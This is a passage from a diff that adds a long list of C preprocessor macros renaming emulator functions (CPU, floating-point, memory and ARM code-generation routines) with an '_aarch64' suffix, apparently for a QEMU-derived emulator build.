cptype_valid_aarch64 +#define cpu_abort cpu_abort_aarch64 +#define cpu_arm_exec cpu_arm_exec_aarch64 +#define cpu_arm_gen_code cpu_arm_gen_code_aarch64 +#define cpu_arm_init cpu_arm_init_aarch64 +#define cpu_breakpoint_insert cpu_breakpoint_insert_aarch64 +#define cpu_breakpoint_remove cpu_breakpoint_remove_aarch64 +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_aarch64 +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_aarch64 +#define cpu_can_do_io cpu_can_do_io_aarch64 +#define cpu_can_run cpu_can_run_aarch64 +#define cpu_class_init cpu_class_init_aarch64 +#define cpu_common_class_by_name cpu_common_class_by_name_aarch64 +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_aarch64 +#define cpu_common_get_arch_id cpu_common_get_arch_id_aarch64 +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_aarch64 +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_aarch64 +#define cpu_common_has_work cpu_common_has_work_aarch64 +#define cpu_common_initfn cpu_common_initfn_aarch64 +#define cpu_common_noop cpu_common_noop_aarch64 +#define cpu_common_parse_features cpu_common_parse_features_aarch64 +#define cpu_common_realizefn cpu_common_realizefn_aarch64 +#define cpu_common_reset cpu_common_reset_aarch64 +#define cpu_dump_statistics cpu_dump_statistics_aarch64 +#define cpu_exec_init cpu_exec_init_aarch64 +#define cpu_flush_icache_range cpu_flush_icache_range_aarch64 +#define cpu_gen_init cpu_gen_init_aarch64 +#define cpu_get_clock cpu_get_clock_aarch64 +#define cpu_get_real_ticks cpu_get_real_ticks_aarch64 +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_aarch64 +#define cpu_handle_debug_exception cpu_handle_debug_exception_aarch64 +#define cpu_handle_guest_debug cpu_handle_guest_debug_aarch64 +#define cpu_inb cpu_inb_aarch64 +#define cpu_inl cpu_inl_aarch64 +#define cpu_interrupt cpu_interrupt_aarch64 +#define cpu_interrupt_handler cpu_interrupt_handler_aarch64 +#define cpu_inw cpu_inw_aarch64 +#define cpu_io_recompile cpu_io_recompile_aarch64 +#define cpu_is_stopped cpu_is_stopped_aarch64 +#define cpu_ldl_code cpu_ldl_code_aarch64 +#define cpu_ldub_code cpu_ldub_code_aarch64 +#define cpu_lduw_code cpu_lduw_code_aarch64 +#define cpu_memory_rw_debug cpu_memory_rw_debug_aarch64 +#define cpu_mmu_index cpu_mmu_index_aarch64 +#define cpu_outb cpu_outb_aarch64 +#define cpu_outl cpu_outl_aarch64 +#define cpu_outw cpu_outw_aarch64 +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_aarch64 +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_aarch64 +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_aarch64 +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_aarch64 +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_aarch64 +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_aarch64 +#define cpu_physical_memory_map cpu_physical_memory_map_aarch64 +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_aarch64 +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_aarch64 +#define cpu_physical_memory_rw cpu_physical_memory_rw_aarch64 +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_aarch64 +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_aarch64 +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_aarch64 +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_aarch64 +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_aarch64 +#define cpu_register cpu_register_aarch64 +#define cpu_register_types cpu_register_types_aarch64 +#define cpu_restore_state cpu_restore_state_aarch64 +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_aarch64 +#define cpu_single_step cpu_single_step_aarch64 +#define cpu_tb_exec cpu_tb_exec_aarch64 +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_aarch64 +#define cpu_to_be64 cpu_to_be64_aarch64 +#define cpu_to_le32 cpu_to_le32_aarch64 +#define cpu_to_le64 cpu_to_le64_aarch64 +#define cpu_type_info cpu_type_info_aarch64 +#define cpu_unassigned_access cpu_unassigned_access_aarch64 +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_aarch64 +#define cpu_watchpoint_insert cpu_watchpoint_insert_aarch64 +#define cpu_watchpoint_remove cpu_watchpoint_remove_aarch64 +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_aarch64 +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_aarch64 +#define crc32c_table crc32c_table_aarch64 +#define create_new_memory_mapping create_new_memory_mapping_aarch64 +#define csselr_write csselr_write_aarch64 +#define cto32 cto32_aarch64 +#define ctr_el0_access ctr_el0_access_aarch64 +#define ctz32 ctz32_aarch64 +#define ctz64 ctz64_aarch64 +#define dacr_write dacr_write_aarch64 +#define dbgbcr_write dbgbcr_write_aarch64 +#define dbgbvr_write dbgbvr_write_aarch64 +#define dbgwcr_write dbgwcr_write_aarch64 +#define dbgwvr_write dbgwvr_write_aarch64 +#define debug_cp_reginfo debug_cp_reginfo_aarch64 +#define debug_frame debug_frame_aarch64 +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_aarch64 +#define define_arm_cp_regs define_arm_cp_regs_aarch64 +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_aarch64 +#define define_debug_regs define_debug_regs_aarch64 +#define define_one_arm_cp_reg define_one_arm_cp_reg_aarch64 +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_aarch64 +#define deposit32 deposit32_aarch64 +#define deposit64 deposit64_aarch64 +#define deregister_tm_clones deregister_tm_clones_aarch64 +#define device_class_base_init device_class_base_init_aarch64 +#define device_class_init device_class_init_aarch64 +#define device_finalize device_finalize_aarch64 +#define device_get_realized device_get_realized_aarch64 +#define device_initfn device_initfn_aarch64 +#define device_post_init device_post_init_aarch64 +#define device_reset device_reset_aarch64 +#define device_set_realized device_set_realized_aarch64 +#define device_type_info device_type_info_aarch64 +#define disas_arm_insn disas_arm_insn_aarch64 +#define disas_coproc_insn disas_coproc_insn_aarch64 +#define disas_dsp_insn disas_dsp_insn_aarch64 +#define disas_iwmmxt_insn disas_iwmmxt_insn_aarch64 +#define disas_neon_data_insn disas_neon_data_insn_aarch64 +#define disas_neon_ls_insn disas_neon_ls_insn_aarch64 +#define disas_thumb2_insn disas_thumb2_insn_aarch64 +#define disas_thumb_insn disas_thumb_insn_aarch64 +#define disas_vfp_insn disas_vfp_insn_aarch64 +#define disas_vfp_v8_insn disas_vfp_v8_insn_aarch64 +#define do_arm_semihosting do_arm_semihosting_aarch64 +#define do_clz16 do_clz16_aarch64 +#define do_clz8 do_clz8_aarch64 +#define do_constant_folding do_constant_folding_aarch64 +#define do_constant_folding_2 do_constant_folding_2_aarch64 +#define do_constant_folding_cond do_constant_folding_cond_aarch64 +#define do_constant_folding_cond2 do_constant_folding_cond2_aarch64 +#define do_constant_folding_cond_32 do_constant_folding_cond_32_aarch64 +#define do_constant_folding_cond_64 do_constant_folding_cond_64_aarch64 +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_aarch64 +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_aarch64 +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_aarch64 +#define do_ssat do_ssat_aarch64 +#define do_usad do_usad_aarch64 +#define do_usat do_usat_aarch64 +#define do_v7m_exception_exit do_v7m_exception_exit_aarch64 +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_aarch64 +#define dummy_func dummy_func_aarch64 +#define dummy_section dummy_section_aarch64 +#define _DYNAMIC _DYNAMIC_aarch64 +#define _edata _edata_aarch64 +#define _end _end_aarch64 +#define end_list end_list_aarch64 +#define eq128 eq128_aarch64 +#define ErrorClass_lookup ErrorClass_lookup_aarch64 +#define error_copy error_copy_aarch64 +#define error_exit error_exit_aarch64 +#define error_get_class error_get_class_aarch64 +#define error_get_pretty error_get_pretty_aarch64 +#define error_setg_file_open error_setg_file_open_aarch64 +#define estimateDiv128To64 estimateDiv128To64_aarch64 +#define estimateSqrt32 estimateSqrt32_aarch64 +#define excnames excnames_aarch64 +#define excp_is_internal excp_is_internal_aarch64 +#define extended_addresses_enabled extended_addresses_enabled_aarch64 +#define extended_mpu_ap_bits extended_mpu_ap_bits_aarch64 +#define extract32 extract32_aarch64 +#define extract64 extract64_aarch64 +#define extractFloat128Exp extractFloat128Exp_aarch64 +#define extractFloat128Frac0 extractFloat128Frac0_aarch64 +#define extractFloat128Frac1 extractFloat128Frac1_aarch64 +#define extractFloat128Sign extractFloat128Sign_aarch64 +#define extractFloat16Exp extractFloat16Exp_aarch64 +#define extractFloat16Frac extractFloat16Frac_aarch64 +#define extractFloat16Sign extractFloat16Sign_aarch64 +#define extractFloat32Exp extractFloat32Exp_aarch64 +#define extractFloat32Frac extractFloat32Frac_aarch64 +#define extractFloat32Sign extractFloat32Sign_aarch64 +#define extractFloat64Exp extractFloat64Exp_aarch64 +#define extractFloat64Frac extractFloat64Frac_aarch64 +#define extractFloat64Sign extractFloat64Sign_aarch64 +#define extractFloatx80Exp extractFloatx80Exp_aarch64 +#define extractFloatx80Frac extractFloatx80Frac_aarch64 +#define extractFloatx80Sign extractFloatx80Sign_aarch64 +#define fcse_write fcse_write_aarch64 +#define find_better_copy find_better_copy_aarch64 +#define find_default_machine find_default_machine_aarch64 +#define find_desc_by_name find_desc_by_name_aarch64 +#define find_first_bit find_first_bit_aarch64 +#define find_paging_enabled_cpu find_paging_enabled_cpu_aarch64 +#define find_ram_block find_ram_block_aarch64 +#define find_ram_offset find_ram_offset_aarch64 +#define find_string find_string_aarch64 +#define find_type find_type_aarch64 +#define _fini _fini_aarch64 +#define flatrange_equal flatrange_equal_aarch64 +#define flatview_destroy flatview_destroy_aarch64 +#define flatview_init flatview_init_aarch64 +#define flatview_insert flatview_insert_aarch64 +#define flatview_lookup flatview_lookup_aarch64 +#define flatview_ref flatview_ref_aarch64 +#define flatview_simplify flatview_simplify_aarch64 +#define flatview_unref flatview_unref_aarch64 +#define float128_add float128_add_aarch64 +#define float128_compare float128_compare_aarch64 +#define float128_compare_internal float128_compare_internal_aarch64 +#define float128_compare_quiet float128_compare_quiet_aarch64 +#define float128_default_nan float128_default_nan_aarch64 +#define float128_div float128_div_aarch64 +#define float128_eq float128_eq_aarch64 +#define float128_eq_quiet float128_eq_quiet_aarch64 +#define float128_is_quiet_nan float128_is_quiet_nan_aarch64 +#define float128_is_signaling_nan float128_is_signaling_nan_aarch64 +#define float128_le float128_le_aarch64 +#define float128_le_quiet float128_le_quiet_aarch64 +#define float128_lt float128_lt_aarch64 +#define float128_lt_quiet float128_lt_quiet_aarch64 +#define float128_maybe_silence_nan float128_maybe_silence_nan_aarch64 +#define float128_mul float128_mul_aarch64 +#define float128_rem float128_rem_aarch64 +#define float128_round_to_int float128_round_to_int_aarch64 +#define float128_scalbn float128_scalbn_aarch64 +#define float128_sqrt float128_sqrt_aarch64 +#define float128_sub float128_sub_aarch64 +#define float128ToCommonNaN float128ToCommonNaN_aarch64 +#define float128_to_float32 float128_to_float32_aarch64 +#define float128_to_float64 float128_to_float64_aarch64 +#define float128_to_floatx80 float128_to_floatx80_aarch64 +#define float128_to_int32 float128_to_int32_aarch64 +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_aarch64 +#define float128_to_int64 float128_to_int64_aarch64 +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_aarch64 +#define float128_unordered float128_unordered_aarch64 +#define float128_unordered_quiet float128_unordered_quiet_aarch64 +#define float16_default_nan float16_default_nan_aarch64 +#define float16_is_quiet_nan float16_is_quiet_nan_aarch64 +#define float16_is_signaling_nan float16_is_signaling_nan_aarch64 +#define float16_maybe_silence_nan float16_maybe_silence_nan_aarch64 +#define float16ToCommonNaN float16ToCommonNaN_aarch64 +#define float16_to_float32 float16_to_float32_aarch64 +#define float16_to_float64 float16_to_float64_aarch64 +#define float32_abs float32_abs_aarch64 +#define float32_add float32_add_aarch64 +#define float32_chs float32_chs_aarch64 +#define float32_compare float32_compare_aarch64 +#define float32_compare_internal float32_compare_internal_aarch64 +#define float32_compare_quiet float32_compare_quiet_aarch64 +#define float32_default_nan float32_default_nan_aarch64 +#define float32_div float32_div_aarch64 +#define float32_eq float32_eq_aarch64 +#define float32_eq_quiet float32_eq_quiet_aarch64 +#define float32_exp2 float32_exp2_aarch64 +#define float32_exp2_coefficients float32_exp2_coefficients_aarch64 +#define float32_is_any_nan float32_is_any_nan_aarch64 +#define float32_is_infinity float32_is_infinity_aarch64 +#define float32_is_neg float32_is_neg_aarch64 +#define float32_is_quiet_nan float32_is_quiet_nan_aarch64 +#define float32_is_signaling_nan float32_is_signaling_nan_aarch64 +#define float32_is_zero float32_is_zero_aarch64 +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_aarch64 +#define float32_le float32_le_aarch64 +#define float32_le_quiet float32_le_quiet_aarch64 +#define float32_log2 float32_log2_aarch64 +#define float32_lt float32_lt_aarch64 +#define float32_lt_quiet float32_lt_quiet_aarch64 +#define float32_max float32_max_aarch64 +#define float32_maxnum float32_maxnum_aarch64 +#define float32_maxnummag float32_maxnummag_aarch64 +#define float32_maybe_silence_nan float32_maybe_silence_nan_aarch64 +#define float32_min float32_min_aarch64 +#define float32_minmax float32_minmax_aarch64 +#define float32_minnum float32_minnum_aarch64 +#define float32_minnummag float32_minnummag_aarch64 +#define float32_mul float32_mul_aarch64 +#define float32_muladd float32_muladd_aarch64 +#define float32_rem float32_rem_aarch64 +#define float32_round_to_int float32_round_to_int_aarch64 +#define float32_scalbn float32_scalbn_aarch64 +#define float32_set_sign float32_set_sign_aarch64 +#define float32_sqrt float32_sqrt_aarch64 +#define float32_squash_input_denormal float32_squash_input_denormal_aarch64 +#define float32_sub float32_sub_aarch64 +#define float32ToCommonNaN float32ToCommonNaN_aarch64 +#define float32_to_float128 float32_to_float128_aarch64 +#define float32_to_float16 float32_to_float16_aarch64 +#define float32_to_float64 float32_to_float64_aarch64 +#define float32_to_floatx80 float32_to_floatx80_aarch64 +#define float32_to_int16 float32_to_int16_aarch64 +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_aarch64 +#define float32_to_int32 float32_to_int32_aarch64 +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_aarch64 +#define float32_to_int64 float32_to_int64_aarch64 +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_aarch64 +#define float32_to_uint16 float32_to_uint16_aarch64 +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_aarch64 +#define float32_to_uint32 float32_to_uint32_aarch64 +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_aarch64 +#define float32_to_uint64 float32_to_uint64_aarch64 +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_aarch64 +#define float32_unordered float32_unordered_aarch64 +#define float32_unordered_quiet float32_unordered_quiet_aarch64 +#define float64_abs float64_abs_aarch64 +#define float64_add float64_add_aarch64 +#define float64_chs float64_chs_aarch64 +#define float64_compare float64_compare_aarch64 +#define float64_compare_internal float64_compare_internal_aarch64 +#define float64_compare_quiet float64_compare_quiet_aarch64 +#define float64_default_nan float64_default_nan_aarch64 +#define float64_div float64_div_aarch64 +#define float64_eq float64_eq_aarch64 +#define float64_eq_quiet float64_eq_quiet_aarch64 +#define float64_is_any_nan float64_is_any_nan_aarch64 +#define float64_is_infinity float64_is_infinity_aarch64 +#define float64_is_neg float64_is_neg_aarch64 +#define float64_is_quiet_nan float64_is_quiet_nan_aarch64 +#define float64_is_signaling_nan float64_is_signaling_nan_aarch64 +#define float64_is_zero float64_is_zero_aarch64 +#define float64_le float64_le_aarch64 +#define float64_le_quiet float64_le_quiet_aarch64 +#define float64_log2 float64_log2_aarch64 +#define float64_lt float64_lt_aarch64 +#define float64_lt_quiet float64_lt_quiet_aarch64 +#define float64_max float64_max_aarch64 +#define float64_maxnum float64_maxnum_aarch64 +#define float64_maxnummag float64_maxnummag_aarch64 +#define float64_maybe_silence_nan float64_maybe_silence_nan_aarch64 +#define float64_min float64_min_aarch64 +#define float64_minmax float64_minmax_aarch64 +#define float64_minnum float64_minnum_aarch64 +#define float64_minnummag float64_minnummag_aarch64 +#define float64_mul float64_mul_aarch64 +#define float64_muladd float64_muladd_aarch64 +#define float64_rem float64_rem_aarch64 +#define float64_round_to_int float64_round_to_int_aarch64 +#define float64_scalbn float64_scalbn_aarch64 +#define float64_set_sign float64_set_sign_aarch64 +#define float64_sqrt float64_sqrt_aarch64 +#define float64_squash_input_denormal float64_squash_input_denormal_aarch64 +#define float64_sub float64_sub_aarch64 +#define float64ToCommonNaN float64ToCommonNaN_aarch64 +#define float64_to_float128 float64_to_float128_aarch64 +#define float64_to_float16 float64_to_float16_aarch64 +#define float64_to_float32 float64_to_float32_aarch64 +#define float64_to_floatx80 float64_to_floatx80_aarch64 +#define float64_to_int16 float64_to_int16_aarch64 +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_aarch64 +#define float64_to_int32 float64_to_int32_aarch64 +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_aarch64 +#define float64_to_int64 float64_to_int64_aarch64 +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_aarch64 +#define float64_to_uint16 float64_to_uint16_aarch64 +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_aarch64 +#define float64_to_uint32 float64_to_uint32_aarch64 +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_aarch64 +#define float64_to_uint64 float64_to_uint64_aarch64 +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_aarch64 +#define float64_trunc_to_int float64_trunc_to_int_aarch64 +#define float64_unordered float64_unordered_aarch64 +#define float64_unordered_quiet float64_unordered_quiet_aarch64 +#define float_raise float_raise_aarch64 +#define floatx80_add floatx80_add_aarch64 +#define floatx80_compare floatx80_compare_aarch64 +#define floatx80_compare_internal floatx80_compare_internal_aarch64 +#define floatx80_compare_quiet floatx80_compare_quiet_aarch64 +#define floatx80_default_nan floatx80_default_nan_aarch64 +#define floatx80_div floatx80_div_aarch64 +#define floatx80_eq floatx80_eq_aarch64 +#define floatx80_eq_quiet floatx80_eq_quiet_aarch64 +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_aarch64 +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_aarch64 +#define floatx80_le floatx80_le_aarch64 +#define floatx80_le_quiet floatx80_le_quiet_aarch64 +#define floatx80_lt floatx80_lt_aarch64 +#define floatx80_lt_quiet floatx80_lt_quiet_aarch64 +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_aarch64 +#define floatx80_mul floatx80_mul_aarch64 +#define floatx80_rem floatx80_rem_aarch64 +#define floatx80_round_to_int floatx80_round_to_int_aarch64 +#define floatx80_scalbn floatx80_scalbn_aarch64 +#define floatx80_sqrt floatx80_sqrt_aarch64 +#define floatx80_sub floatx80_sub_aarch64 +#define floatx80ToCommonNaN floatx80ToCommonNaN_aarch64 +#define floatx80_to_float128 floatx80_to_float128_aarch64 +#define floatx80_to_float32 floatx80_to_float32_aarch64 +#define floatx80_to_float64 floatx80_to_float64_aarch64 +#define floatx80_to_int32 floatx80_to_int32_aarch64 +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_aarch64 +#define floatx80_to_int64 floatx80_to_int64_aarch64 +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_aarch64 +#define floatx80_unordered floatx80_unordered_aarch64 +#define floatx80_unordered_quiet floatx80_unordered_quiet_aarch64 +#define flush_icache_range flush_icache_range_aarch64 +#define format_string format_string_aarch64 +#define fp_decode_rm fp_decode_rm_aarch64 +#define frame_dummy frame_dummy_aarch64 +#define free_range free_range_aarch64 +#define fstat64 fstat64_aarch64 +#define futex_wait futex_wait_aarch64 +#define futex_wake futex_wake_aarch64 +#define gen_aa32_ld16s gen_aa32_ld16s_aarch64 +#define gen_aa32_ld16u gen_aa32_ld16u_aarch64 +#define gen_aa32_ld32u gen_aa32_ld32u_aarch64 +#define gen_aa32_ld64 gen_aa32_ld64_aarch64 +#define gen_aa32_ld8s gen_aa32_ld8s_aarch64 +#define gen_aa32_ld8u gen_aa32_ld8u_aarch64 +#define gen_aa32_st16 gen_aa32_st16_aarch64 +#define gen_aa32_st32 gen_aa32_st32_aarch64 +#define gen_aa32_st64 gen_aa32_st64_aarch64 +#define gen_aa32_st8 gen_aa32_st8_aarch64 +#define gen_adc gen_adc_aarch64 +#define gen_adc_CC gen_adc_CC_aarch64 +#define gen_add16 gen_add16_aarch64 +#define gen_add_carry gen_add_carry_aarch64 +#define gen_add_CC gen_add_CC_aarch64 +#define gen_add_datah_offset gen_add_datah_offset_aarch64 +#define gen_add_data_offset gen_add_data_offset_aarch64 +#define gen_addq gen_addq_aarch64 +#define gen_addq_lo gen_addq_lo_aarch64 +#define gen_addq_msw gen_addq_msw_aarch64 +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_aarch64 +#define gen_arm_shift_im gen_arm_shift_im_aarch64 +#define gen_arm_shift_reg gen_arm_shift_reg_aarch64 +#define gen_bx gen_bx_aarch64 +#define gen_bx_im gen_bx_im_aarch64 +#define gen_clrex gen_clrex_aarch64 +#define generate_memory_topology generate_memory_topology_aarch64 +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_aarch64 +#define gen_exception gen_exception_aarch64 +#define gen_exception_insn gen_exception_insn_aarch64 +#define gen_exception_internal gen_exception_internal_aarch64 +#define gen_exception_internal_insn gen_exception_internal_insn_aarch64 +#define gen_exception_return gen_exception_return_aarch64 +#define gen_goto_tb gen_goto_tb_aarch64 +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_aarch64 +#define gen_helper_add_saturate gen_helper_add_saturate_aarch64 +#define gen_helper_add_setq gen_helper_add_setq_aarch64 +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_aarch64 +#define gen_helper_clz32 gen_helper_clz32_aarch64 +#define gen_helper_clz64 gen_helper_clz64_aarch64 +#define gen_helper_clz_arm gen_helper_clz_arm_aarch64 +#define gen_helper_cpsr_read gen_helper_cpsr_read_aarch64 +#define gen_helper_cpsr_write gen_helper_cpsr_write_aarch64 +#define gen_helper_crc32_arm gen_helper_crc32_arm_aarch64 +#define gen_helper_crc32c gen_helper_crc32c_aarch64 +#define gen_helper_crypto_aese gen_helper_crypto_aese_aarch64 +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_aarch64 +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_aarch64 +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_aarch64 +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_aarch64 +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_aarch64 +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_aarch64 +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_aarch64 +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_aarch64 +#define gen_helper_double_saturate gen_helper_double_saturate_aarch64 +#define gen_helper_exception_internal gen_helper_exception_internal_aarch64 +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_aarch64 +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_aarch64 +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_aarch64 +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_aarch64 +#define gen_helper_get_user_reg gen_helper_get_user_reg_aarch64 +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_aarch64 +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_aarch64 +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_aarch64 +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_aarch64 +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_aarch64 +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_aarch64 +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_aarch64 +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_aarch64 +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_aarch64 +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_aarch64 +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_aarch64 +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_aarch64 +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_aarch64 +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_aarch64 +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_aarch64 +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_aarch64 +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_aarch64 +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_aarch64 +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_aarch64 +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_aarch64 +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_aarch64 +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_aarch64 +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_aarch64 +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_aarch64 +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_aarch64 +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_aarch64 +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_aarch64 +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_aarch64 +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_aarch64 +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_aarch64 +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_aarch64 +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_aarch64 +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_aarch64 +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_aarch64 +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_aarch64 +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_aarch64 +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_aarch64 +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_aarch64 +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_aarch64 +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_aarch64 +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_aarch64 +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_aarch64 +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_aarch64 +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_aarch64 +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_aarch64 +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_aarch64 +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_aarch64 +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_aarch64 +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_aarch64 +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_aarch64 +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_aarch64 +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_aarch64 +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_aarch64 +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_aarch64 +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_aarch64 +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_aarch64 +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_aarch64 +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_aarch64 +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_aarch64 +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_aarch64 +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_aarch64 +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_aarch64 +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_aarch64 +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_aarch64 +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_aarch64 +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_aarch64 +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_aarch64 +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_aarch64 +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_aarch64 +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_aarch64 